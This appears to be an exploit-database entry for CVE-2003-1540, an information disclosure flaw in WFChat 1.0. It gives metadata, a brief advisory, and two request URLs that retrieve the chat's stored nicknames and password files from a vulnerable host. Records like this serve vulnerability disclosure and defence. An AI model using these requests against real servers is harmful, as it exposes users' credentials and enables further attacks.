WFChat 1.0 - Information Disclosure
Author: subj
type: remote
platform: multiple
port:
date_added: 2003-03-19
date_updated: 2012-11-01
verified: 1
codes: CVE-2003-1540;OSVDB-59645
tags:
aliases:
screenshot_url:
application_url:
source: https://www.securityfocus.com/bid/7147/info
An information disclosure vulnerability has been reported for WFChat. The vulnerability will result in the disclosure of authentication information to a remote attacker.
Information obtained in this manner may allow the attacker to launch further attacks against a vulnerable system.
http://[somehost]/chat/!nicks.txt
http://[somehost]/chat/!pwds.txt